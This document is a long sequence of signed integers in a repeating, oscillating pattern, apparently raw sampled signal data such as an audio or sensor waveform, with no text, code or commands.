+55 +93 +63 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +55 +93 +118 +76 +17 +-37 +-84 +-118 +-84 +-25 +25 +68 +101 +68 +8 +-42 +-88 +-118 +-80 +-20 +29 +76 +106 +72 +17 +-37 +-84 +-114 +-76 +-20 +34 +76 +106 +72 +17 +-33 +-80 +-114 +-71 +-16 +34 +80 +114 +76 +21 +-33 +-76 +-109 +-71 +-12 +42 +84 +114 +80 +21 +-29 +-76 +-109 +-71 +-12 +38 +80 +114 +80 +21 +-29 +-76 +-105 +-67 +-12 +38 +80 +114 +80 +25 +-29 +-76 +-109 +-67 +-12 +38 +84 +114 +80 +25 +-29 +-76 +-105 +-67 +-12 +42 +84 +118 +80 +25 +-29 +-76 +-105 +-67 +-8 +42 +84 +59 +12 +-33 +-67 +-33 +17 +63 +101 +72 +21 +-25 +-63 +-33 +17 +63 +101 +72 +21 +-29 +-67 +-33 +17 +63 +97 +68 +17 +-33 +-67 +-37 +12 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +4 +51 +84 +59 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +89 +118 +76 +17 +-37 +-88 +-118 +-84 +-25 +25 +68 +101 +68 +8 +-42 +-88 +-118 +-80 +-20 +29 +72 +101 +72 +17 +-37 +-84 +-114 +-76 +-20 +34 +76 +106 +76 +17 +-33 +-80 +-114 +-71 +-16 +34 +80 +110 +76 +21 +-33 +-76 +-109 +-71 +-12 +42 +80 +59 +12 +-33 +-71 +-37 +12 +63 +97 +72 +21 +-25 +-63 +-33 +17 +63 +101 +72 +21 +-29 +-67 +-33 +17 +63 +97 +68 +17 +-33 +-71 +-37 +12 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-42 +4 +51 +89 +114 +76 +17 +-42 +-88 +-122 +-84 +-25 +25 +68 +101 +68 +12 +-42 +-88 +-118 +-80 +-20 +29 +72 +106 +72 +17 +-37 +-84 +-114 +-76 +-20 +34 +76 +110 +76 +17 +-33 +-80 +-109 +-71 +-16 +34 +80 +114 +76 +21 +-33 +-76 +-109 +-67 +-12 +38 +80 +114 +76 +21 +-33 +-80 +-109 +-71 +-16 +38 +80 +114 +76 +21 +-29 +-76 +-109 +-67 +-12 +38 +80 +114 +80 +25 +-29 +-76 +-109 +-67 +-12 +38 +84 +114 +80 +21 +-29 +-76 +-105 +-67 +-12 +42 +84 +118 +80 +25 +-29 +-76 +-105 +-63 +-3 +46 +84 +63 +12 +-33 +-67 +-33 +17 +63 +101 +72 +21 +-25 +-63 +-33 +17 +63 +101 +72 +21 +-29 +-67 +-33 +17 +63 +97 +68 +17 +-33 +-71 +-37 +12 +59 +93 +63 +12 +-33 +-71 +-37 +12 +59 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +59 +12 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-42 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +4 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-42 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-42 +8 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +55 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +55 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +55 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-84 +-118 +-80 +-20 +29 +72 +101 +72 +12 +-37 +-84 +-118 +-76 +-16 +34 +76 +110 +76 +21 +-33 +-76 +-109 +-71 +-16 +38 +80 +110 +76 +21 +-33 +-76 +-109 +-71 +-16 +38 +80 +114 +80 +21 +-29 +-76 +-109 +-67 +-12 +38 +80 +114 +80 +25 +-25 +-59 +-29 +17 +63 +97 +68 +17 +-33 +-67 +-37 +12 +59 +93 +68 +17 +-33 +-71 +-42 +8 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +4 +-46 +-92 +-126 +-84 +-25 +25 +72 +101 +68 +12 +-37 +-84 +-118 +-76 +-16 +34 +76 +110 +76 +21 +-33 +-80 +-109 +-71 +-16 +38 +80 +110 +76 +21 +-33 +-76 +-109 +-71 +-16 +38 +80 +114 +76 +21 +-29 +-76 +-109 +-67 +-12 +38 +80 +114 +84 +34 +-20 +-59 +-29 +21 +63 +101 +68 +17 +-33 +-67 +-37 +12 +59 +93 +68 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-33 +-71 +-42 +8 +55 +89 +59 +12 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +12 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +55 +93 +118 +80 +21 +-37 +-84 +-118 +-80 +-25 +25 +68 +101 +68 +8 +-42 +-88 +-118 +-80 +-20 +29 +76 +106 +72 +17 +-37 +-80 +-114 +-76 +-20 +34 +76 +110 +72 +17 +-33 +-80 +-114 +-76 +-16 +34 +80 +110 +76 +21 +-33 +-76 +-109 +-71 +-12 +42 +80 +59 +12 +-33 +-71 +-37 +17 +63 +101 +72 +21 +-25 +-63 +-33 +17 +63 +101 +72 +21 +-29 +-67 +-33 +12 +59 +97 +68 +17 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +89 +63 +12 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +12 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-42 +8 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +12 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-42 +8 +51 +89 +114 +76 +17 +-37 +-88 +-122 +-84 +-25 +25 +68 +101 +68 +12 +-42 +-84 +-118 +-80 +-20 +29 +72 +106 +72 +17 +-37 +-84 +-114 +-76 +-20 +34 +76 +106 +76 +17 +-33 +-80 +-114 +-71 +-16 +38 +80 +114 +76 +21 +-33 +-76 +-109 +-67 +-8 +42 +84 +59 +12 +-33 +-67 +-37 +17 +63 +101 +72 +21 +-29 +-63 +-33 +17 +63 +97 +68 +17 +-29 +-67 +-33 +17 +59 +97 +68 +17 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +59 +12 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-42 +8 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-50 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +63 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-84 +-118 +-80 +-25 +29 +72 +101 +68 +12 +-42 +-84 +-118 +-76 +-20 +34 +76 +110 +72 +17 +-33 +-80 +-114 +-76 +-16 +38 +80 +110 +76 +21 +-33 +-76 +-109 +-71 +-16 +38 +80 +114 +76 +21 +-29 +-76 +-109 +-67 +-12 +38 +84 +114 +80 +25 +-20 +-59 +-29 +17 +63 +97 +68 +17 +-33 +-67 +-37 +12 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-71 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-42 +8 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +59 +8 +-46 +-88 +-122 +-84 +-25 +25 +72 +106 +72 +17 +-37 +-80 +-114 +-76 +-16 +34 +76 +110 +76 +21 +-33 +-76 +-109 +-67 +-12 +38 +80 +114 +76 +21 +-33 +-76 +-109 +-71 +-12 +38 +80 +114 +80 +21 +-29 +-76 +-109 +-67 +-12 +38 +80 +118 +84 +34 +-16 +-59 +-29 +21 +63 +97 +68 +17 +-33 +-67 +-37 +12 +59 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +8 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-42 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +55 +93 +118 +76 +17 +-37 +-84 +-118 +-84 +-25 +25 +68 +101 +68 +8 +-42 +-88 +-118 +-80 +-25 +29 +72 +101 +72 +17 +-37 +-84 +-114 +-76 +-20 +34 +76 +110 +76 +17 +-33 +-80 +-114 +-71 +-16 +34 +80 +110 +76 +21 +-33 +-76 +-109 +-71 +-12 +42 +84 +59 +12 +-33 +-71 +-37 +17 +63 +101 +72 +21 +-25 +-63 +-33 +17 +63 +101 +72 +21 +-29 +-67 +-37 +12 +59 +97 +68 +17 +-33 +-71 +-37 +8 +55 +93 +63 +12 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-33 +-71 +-42 +8 +55 +89 +63 +12 +-37 +-76 +-42 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-42 +8 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +8 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-50 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-46 +8 +55 +89 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-46 +4 +51 +84 +59 +8 +-37 +-76 +-42 +8 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +55 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +89 +59 +8 +-42 +-76 +-42 +8 +51 +89 +114 +76 +17 +-37 +-84 +-118 +-80 +-25 +25 +72 +101 +68 +12 +-42 +-84 +-118 +-80 +-20 +29 +76 +106 +72 +17 +-37 +-84 +-114 +-76 +-16 +34 +76 +110 +76 +17 +-33 +-80 +-109 +-71 +-12 +38 +80 +114 +76 +21 +-33 +-76 +-109 +-67 +-8 +42 +84 +59 +12 +-33 +-67 +-37 +17 +63 +101 +72 +21 +-25 +-63 +-33 +17 +63 +97 +68 +17 +-29 +-67 +-37 +12 +59 +97 +68 +17 +-33 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-71 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +8 +55 +93 +63 +12 +-37 +-76 +-42 +4 +51 +89 +59 +8 +-37 +-76 +-42 +8 +55 +89 +59 +12 +-37 +-76 +-42 +8 +55 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +8 +51 +89 +59 +8 +-37 +-76 +-46 +4 +51 +89 +63 +12 +-37 +-76 +-42 +8 +51 +89 +55 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 +59 +8 +-42 +-80 +-46 +4 +51 +84 +59 +8 +-42 +-76 +-46 +4 +51 +84 